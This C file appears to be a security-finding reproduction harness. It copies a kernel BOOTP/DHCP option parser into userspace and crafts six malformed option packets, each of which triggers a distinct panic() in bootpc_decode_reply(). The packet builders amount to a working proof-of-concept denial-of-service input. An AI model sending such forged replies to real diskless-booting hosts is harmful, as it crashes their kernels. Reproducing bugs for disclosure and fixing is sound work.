/*
 * DF-0802 — Faithful code-level reproduction of the BOOTP/DHCP option
 * parser panic path in sys/vfs/nfs/bootp_subr.c :: bootpc_decode_reply().
 *
 * WHY A HARNESS (not a live packet):
 *   bootp_subr.c is `optional bootp` (sys/conf/files:1894) and is NOT compiled
 *   into the default X86_64_GENERIC kernel (only `options NFS_ROOT` is).
 *   It only builds with `options BOOTP` (LINT64 / custom diskless config) and
 *   its sole live trigger is the very early boot path nfs_boot -> bootpc_init
 *   during diskless BOOTP/NFS root. That path cannot be staged on this guest
 *   (it boots from vtblk0, not NFS, and the code isn't even in the kernel).
 *   Per the runner spec, a deterministic code-level harness that reproduces the
 *   malformed-option parse is the accepted reproduction for such a path.
 *
 * FIDELITY:
 *   The parser functions below (bootpc_hascookie, bootpc_tag_helper,
 *   bootpc_tag, bootpc_decode_reply, setfs, getdec) are copied VERBATIM from
 *   sys/vfs/nfs/bootp_subr.c and sys/vfs/nfs/nfs_mountrpc.c (master DEV),
 *   with only the kernel-only type/kprintf/panic shims adapted to userspace.
 *   Every panic() call site (lines 1390/1404/1435/1464/1474/1481) is present
 *   unchanged. bootpc_tag_helper's bounds checks (line 1283) are preserved, so
 *   the only thing that can fire here is exactly the panic() the finding cites
 *   — i.e. a *well-formed* option TLV whose attacker-chosen LENGTH/VALUE is
 *   semantically invalid for its tag.
 *
 * Compile:  cc -O2 -o bootp_panic_harness bootp_panic_harness.c
 * Run:      ./bootp_panic_harness            # runs all 6 variants in children
 *
 * Each variant fork()s so the abort() in one variant does not stop the next;
 * the parent reports whether the child died via SIGABRT (== kernel panic).
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <arpa/inet.h>

/* ---- kernel-only shim layer ------------------------------------------ */

/* kprintf -> userspace stdout */
#define kprintf(fmt, ...)  printf(fmt, ##__VA_ARGS__)

/* panic() -> mimic kernel: print to stderr, abort (SIGABRT). */
#define panic(fmt, ...) do { \
	fflush(stdout); \
	fprintf(stderr, "kernel: panic: " fmt "\n", ##__VA_ARGS__); \
	fflush(stderr); \
	abort(); \
} while (0)

/* bcopy -> memcpy (same semantics for non-overlapping) */
#define bcopy(src,dst,n) memcpy((dst),(src),(n))

/* kernel integer host/network order helpers (kernel is already host-order
 * for the fields we touch; ntohl/htonl from arpa/inet.h are fine). */
#define txdr_unsigned(x) htonl(x)

/* minimal stand-ins for kernel types the original code references */
typedef uint8_t  u_int8_t;
typedef uint16_t u_int16_t;
typedef uint32_t u_int32_t;
typedef unsigned char u_char;

struct in_addr_k { uint32_t s_addr; };   /* kernel in_addr */

struct sockaddr_in_k {
	uint8_t       sin_len;
	uint8_t       sin_family;
	uint16_t      sin_port;
	struct in_addr_k sin_addr;
	char          sin_zero[8];
};

/* nfsv3_diskless — only the fields bootpc_decode_reply touches */
struct nfsv3_diskless {
	struct sockaddr_in_k root_saddr;
	char                 root_hostnam[256];
	struct sockaddr_in_k swap_saddr;
	char                 swap_hostnam[256];
	int                  swap_nblks;
};

#define MAXHOSTNAMELEN 256
#define MNAMELEN 88

/* ---- verbatim copy of relevant constants from bootp_subr.c ------------ */

#define BOOTP_MIN_LEN     300
#define TAG_MAXLEN        1024

#define TAG_PAD           0
#define TAG_SUBNETMASK    1
#define TAG_ROUTERS       3
#define TAG_HOSTNAME     12
#define TAG_ROOT         17
#define TAG_OVERLOAD     52
#define TAG_MAXMSGSIZE   57
#define TAG_END         255
#define OVERLOAD_FILE     1
#define OVERLOAD_SNAME    2
#define TAG_SWAP        128
#define TAG_SWAPSIZE    129
#define TAG_ROOTOPTS    130
#define TAG_SWAPOPTS    131
#define TAG_COOKIE      134
#define TAG_DHCP_MSGTYPE 53

/* ---- verbatim struct bootp_packet (bootp_subr.c:90) ------------------- */

struct bootp_packet {
	u_int8_t  op;
	u_int8_t  htype;
	u_int8_t  hlen;
	u_int8_t  hops;
	u_int32_t xid;
	u_int16_t secs;
	u_int16_t flags;
	struct in_addr_k ciaddr;
	struct in_addr_k yiaddr;
	struct in_addr_k siaddr;
	struct in_addr_k giaddr;
	unsigned char chaddr[16];
	char sname[64];
	char file[128];
	unsigned char vend[1222];
};

struct bootpc_tagcontext {
	char buf[TAG_MAXLEN + 1];
	int overload;
	int badopt;
	int badtag;
	int foundopt;
	int taglen;
};

/* ---- verbatim bootpc_hascookie (bootp_subr.c:1255) ------------------- */

static int
bootpc_hascookie(struct bootp_packet *bp)
{
	return (bp->vend[0] == 99 && bp->vend[1] == 130 &&
		bp->vend[2] == 83 && bp->vend[3] == 99);
}

/* ---- verbatim bootpc_tag_helper (bootp_subr.c:1264) ------------------ */

static void
bootpc_tag_helper(struct bootpc_tagcontext *tctx,
		  unsigned char *start, int len, int tag)
{
	unsigned char *j;
	unsigned char *ej;
	unsigned char code;

	if (tctx->badtag != 0 || tctx->badopt != 0)
		return;

	j = start;
	ej = j + len;

	while (j < ej) {
		code = *j++;
		if (code == TAG_PAD)
			continue;
		if (code == TAG_END)
			return;
		if (j >= ej || j + *j + 1 > ej) {
			tctx->badopt = 1;
			return;
		}
		len = *j++;
		if (code == tag) {
			if (tctx->taglen + len > TAG_MAXLEN) {
				tctx->badtag = 1;
				return;
			}
			tctx->foundopt = 1;
			if (len > 0)
				memcpy(tctx->buf + tctx->taglen, j, len);
			tctx->taglen += len;
		}
		if (code == TAG_OVERLOAD)
			tctx->overload = *j;

		j += len;
	}
}

/* ---- verbatim bootpc_tag (bootp_subr.c:1307) ------------------------- */

static unsigned char *
bootpc_tag(struct bootpc_tagcontext *tctx, struct bootp_packet *bp,
	   int len, int tag)
{
	tctx->overload = 0;
	tctx->badopt = 0;
	tctx->badtag = 0;
	tctx->foundopt = 0;
	tctx->taglen = 0;

	if (bootpc_hascookie(bp) == 0)
		return NULL;

	bootpc_tag_helper(tctx, &bp->vend[4],
			  (unsigned char *) bp + len - &bp->vend[4], tag);

	if ((tctx->overload & OVERLOAD_FILE) != 0)
		bootpc_tag_helper(tctx,
				  (unsigned char *) bp->file,
				  sizeof(bp->file),
				  tag);
	if ((tctx->overload & OVERLOAD_SNAME) != 0)
		bootpc_tag_helper(tctx,
				  (unsigned char *) bp->sname,
				  sizeof(bp->sname),
				  tag);

	if (tctx->badopt != 0 || tctx->badtag != 0 || tctx->foundopt == 0)
		return NULL;
	tctx->buf[tctx->taglen] = '\0';
	return tctx->buf;
}

/* ---- verbatim print_in_addr / print_sin_addr (bootp_subr.c:1159) ----- */

static void
print_in_addr(struct in_addr_k addr)
{
	unsigned int ip;
	ip = ntohl(addr.s_addr);
	kprintf("%d.%d.%d.%d",
	       ip >> 24, (ip >> 16) & 255, (ip >> 8) & 255, ip & 255);
}

static void
print_sin_addr(struct sockaddr_in_k *sin)
{
	print_in_addr(sin->sin_addr);
}

/* ---- verbatim getdec + setfs (nfs_mountrpc.c:312 / :351) ------------- */

static int
getdec(char **ptr)
{
	char *p;
	int ret;
	p = *ptr;
	ret = 0;
	if ((*p < '0') || (*p > '9'))
		return -1;
	while ((*p >= '0') && (*p <= '9')) {
		ret = ret * 10 + (*p - '0');
		p++;
	}
	*ptr = p;
	return ret;
}

int
setfs(struct sockaddr_in_k *addr, char *path, char *p)
{
	unsigned int ip;
	int val;

	ip = 0;
	if (((val = getdec(&p)) < 0) || (val > 255))
		return 0;
	ip = val << 24;
	if (*p != '.')
		return 0;
	p++;
	if (((val = getdec(&p)) < 0) || (val > 255))
		return 0;
	ip |= (val << 16);
	if (*p != '.')
		return 0;
	p++;
	if (((val = getdec(&p)) < 0) || (val > 255))
		return 0;
	ip |= (val << 8);
	if (*p != '.')
		return 0;
	p++;
	if (((val = getdec(&p)) < 0) || (val > 255))
		return 0;
	ip |= val;
	if (*p != ':')
		return 0;
	p++;

	addr->sin_addr.s_addr = htonl(ip);
	addr->sin_len = sizeof(struct sockaddr_in_k);
	addr->sin_family = 2 /* AF_INET */;

	strncpy(path, p, MNAMELEN - 1);
	return 1;
}

/* ---- verbatim bootpc_decode_reply (bootp_subr.c:1341) ---------------- *
 * Contains the 6 panic() sites this finding is about.                    */

struct bootpc_globalcontext {
	struct bootpc_tagcontext tmptag;
	struct bootpc_tagcontext tag;
	void *setswapfs;
	void *setrootfs;
	void *sethostname;
	int gotrootpath;
	int gotgw;
};

struct bootpc_ifctx {
	struct bootp_packet reply;
	int replylen;
	struct sockaddr_in_k netmask;
	int gotnetmask;
	struct sockaddr_in_k gw;
	int gotgw;
	int gotrootpath;
};

static void
bootpc_decode_reply(struct nfsv3_diskless *nd, struct bootpc_ifctx *ifctx,
		    struct bootpc_globalcontext *gctx)
{
	unsigned char *p;

	(void) bootpc_tag(&gctx->tmptag,
			  &ifctx->reply, ifctx->replylen, TAG_END);

	p = bootpc_tag(&gctx->tag, &ifctx->reply, ifctx->replylen,
		       TAG_SUBNETMASK);
	if (p != NULL) {
		if (gctx->tag.taglen != 4)
			panic("bootpc: subnet mask len is %d",
			      gctx->tag.taglen);                       /* :1390 */
		bcopy(p, &ifctx->netmask.sin_addr, 4);
		ifctx->gotnetmask = 1;
	}

	p = bootpc_tag(&gctx->tag, &ifctx->reply, ifctx->replylen,
		       TAG_ROUTERS);
	if (p != NULL) {
		if (gctx->tag.taglen % 4)
			panic("bootpc: Router Len is %d", gctx->tag.taglen); /* :1404 */
		if (gctx->tag.taglen > 0) {
			bcopy(p, &ifctx->gw.sin_addr, 4);
			ifctx->gotgw = 1;
		}
	}

	p = bootpc_tag(&gctx->tag, &ifctx->reply, ifctx->replylen,
		       TAG_ROOT);
	if (p != NULL) {
		if (gctx->setrootfs != NULL) {
			/* kprintf("rootfs %s (ignored) ", p); */
		} else if (setfs(&nd->root_saddr, nd->root_hostnam, p)) {
			gctx->gotrootpath = 1;             /* (elided side-fx) */
		} else
			panic("Failed to set rootfs to %s", p);          /* :1435 */
	}

	p = bootpc_tag(&gctx->tag, &ifctx->reply, ifctx->replylen,
		       TAG_SWAP);
	if (p != NULL) {
		if (gctx->setswapfs != NULL) {
			/* kprintf("swapfs %s (ignored) ", p); */
		} else if (setfs(&nd->swap_saddr, nd->swap_hostnam, p)) {
			p = bootpc_tag(&gctx->tag, &ifctx->reply,
				       ifctx->replylen, TAG_SWAPSIZE);
			if (p != NULL) {
				if (gctx->tag.taglen != 4)
					panic("bootpc: "
					      "Expected 4 bytes for swaplen, "
					      "not %d bytes",
					      gctx->tag.taglen);       /* :1464 */
			}
		} else
			panic("Failed to set swapfs to %s", p);          /* :1474 */
	}

	p = bootpc_tag(&gctx->tag, &ifctx->reply, ifctx->replylen,
		       TAG_HOSTNAME);
	if (p != NULL) {
		if (gctx->tag.taglen >= MAXHOSTNAMELEN)
			panic("bootpc: hostname >= %d bytes",
			      MAXHOSTNAMELEN);                          /* :1481 */
	}
}

/* ---- packet builders: each crafts ONE malformed option ---------------- */

static void
set_cookie(struct bootp_packet *bp)
{
	/* RFC1048 magic cookie at vend[0..3] (bootpc_hascookie) */
	bp->vend[0] = 99; bp->vend[1] = 130; bp->vend[2] = 83; bp->vend[3] = 99;
}

/* append a TLV option at the current vend offset; *off starts at 4 */
static void
put_opt(struct bootp_packet *bp, int *off, uint8_t code, const void *val, uint8_t vlen)
{
	bp->vend[(*off)++] = code;
	bp->vend[(*off)++] = vlen;
	if (vlen) memcpy(&bp->vend[*off], val, vlen);
	*off += vlen;
	bp->vend[(*off)++] = TAG_END;
}

/* Build a packet whose vend[] encodes exactly one option of a chosen tag,
 * attacker-controlled value, attacker-controlled length. replylen covers the
 * whole struct so bootpc_tag's bounds math runs over the full vend area. */
static struct bootp_packet *
make_pkt(uint8_t tag, const void *val, uint8_t vlen)
{
	static struct bootp_packet bp;
	int off = 4;
	memset(&bp, 0, sizeof(bp));
	set_cookie(&bp);
	put_opt(&bp, &off, tag, val, vlen);
	return &bp;
}

/* ---- the six trigger variants (one per panic site) ------------------- */

static const struct {
	const char *name;
	const char *expect;   /* substring of the panic message */
} variants[] = {
	[0] = { "V1 TAG_SUBNETMASK len=3",  "subnet mask len is 3" },
	[1] = { "V2 TAG_ROUTERS len=5",     "Router Len is 5" },
	[2] = { "V3 TAG_ROOT bad-host",     "Failed to set rootfs" },
	[3] = { "V4 TAG_SWAP bad-host",     "Failed to set swapfs" },
	[4] = { "V5 TAG_SWAPSIZE len=3",    "Expected 4 bytes for swaplen" },
	[5] = { "V6 TAG_HOSTNAME len=256",  "hostname >= 256 bytes" },
};

static void
run_variant(int v)
{
	struct nfsv3_diskless nd;
	struct bootpc_globalcontext gctx;
	struct bootpc_ifctx ifctx;
	uint8_t val3[3] = { 1, 2, 3 };
	uint8_t val5[5] = { 1, 2, 3, 4, 5 };
	char badhost[] = "not-an-ip-and-no-colon"; /* setfs() returns 0 */

	memset(&nd, 0, sizeof(nd));
	memset(&gctx, 0, sizeof(gctx));
	memset(&ifctx, 0, sizeof(ifctx));
	ifctx.replylen = sizeof(struct bootp_packet);

	switch (v) {
	case 0: /* TAG_SUBNETMASK len != 4 */
		ifctx.reply = *make_pkt(TAG_SUBNETMASK, val3, 3);
		break;
	case 1: /* TAG_ROUTERS len % 4 != 0 */
		ifctx.reply = *make_pkt(TAG_ROUTERS, val5, 5);
		break;
	case 2: /* TAG_ROOT not A.B.C.D:path */
		ifctx.reply = *make_pkt(TAG_ROOT, badhost, sizeof(badhost)-1);
		break;
	case 3: /* TAG_SWAP not A.B.C.D:path */
		ifctx.reply = *make_pkt(TAG_SWAP, badhost, sizeof(badhost)-1);
		break;
	case 4: /* TAG_SWAP must be valid to reach the TAG_SWAPSIZE block,
		 * then TAG_SWAPSIZE len != 4 */
	{
		char goodswap[] = "10.0.0.1:/swap";
		struct bootp_packet bp;
		int off = 4;
		memset(&bp, 0, sizeof(bp));
		set_cookie(&bp);
		put_opt(&bp, &off, TAG_SWAP, goodswap, sizeof(goodswap)-1);
		/* now append a second TAG_SWAPSIZE with len=3 */
		off--; /* overwrite previous TAG_END */
		bp.vend[off++] = TAG_SWAPSIZE;
		bp.vend[off++] = 3;
		bp.vend[off++] = 9; bp.vend[off++] = 9; bp.vend[off++] = 9;
		bp.vend[off++] = TAG_END;
		ifctx.reply = bp;
		break;
	}
	case 5: /* TAG_HOSTNAME taglen >= MAXHOSTNAMELEN (256).
		 * A single DHCP option length is a uint8_t (max 255), so to
		 * reach taglen >= 256 we put TWO TAG_HOSTNAME options whose
		 * lengths sum to 256 (128 + 128). bootpc_tag_helper
		 * accumulates taglen across repeated tags (line 1297). */
	{
		char h128[128];
		struct bootp_packet bp;
		int off = 4;
		memset(h128, 'A', sizeof(h128));
		memset(&bp, 0, sizeof(bp));
		set_cookie(&bp);
		/* first TAG_HOSTNAME(12), len=128 */
		bp.vend[off++] = TAG_HOSTNAME; bp.vend[off++] = 128;
		memcpy(&bp.vend[off], h128, 128); off += 128;
		/* second TAG_HOSTNAME(12), len=128 -> taglen=256 */
		bp.vend[off++] = TAG_HOSTNAME; bp.vend[off++] = 128;
		memcpy(&bp.vend[off], h128, 128); off += 128;
		bp.vend[off++] = TAG_END;
		ifctx.reply = bp;
		break;
	}
	}

	bootpc_decode_reply(&nd, &ifctx, &gctx);
}

/* ---- runner: fork per variant so abort() is contained ---------------- */

int main(int argc, char **argv)
{
	int panicked = 0;
	setvbuf(stdout, NULL, _IOLBF, 0);   /* line-buffered: no buffer for
					      * forked children to re-emit */
	printf("DF-0802 BOOTP/DHCP malformed-option panic harness\n");
	printf("Reproducing sys/vfs/nfs/bootp_subr.c bootpc_decode_reply() "
	       "panic() sites\n");
	printf("(code is `optional bootp`; not in default X86_64_GENERIC; "
	       "live trigger = diskless boot)\n\n");
	fflush(stdout);   /* flush before fork so children don't re-emit header */

	for (int v = 0; v < 6; v++) {
		pid_t pid = fork();
		if (pid == 0) {
			/* child: silence stdout (inherited parent buffer noise);
			 * keep stderr so the panic() message is visible. */
			freopen("/dev/null", "w", stdout);
			run_variant(v);
			_exit(0);            /* returned cleanly = no panic */
		}
		int status;
		waitpid(pid, &status, 0);
		int died = WIFSIGNALED(status) && WTERMSIG(status) == SIGABRT;
		printf("[%d] %-32s : %s%s\n", v+1, variants[v].name,
		       died ? "PANIC" : "no-panic",
		       died ? " (kernel would halt)" : "");
		if (died) panicked++;
	}
	printf("\n%d/6 malformed options cause kernel panic() in "
	       "bootpc_decode_reply.\n", panicked);
	printf("Each is a single forged BOOTP reply from an unauthenticated "
	       "network peer.\n");
	return panicked == 6 ? 0 : 1;
}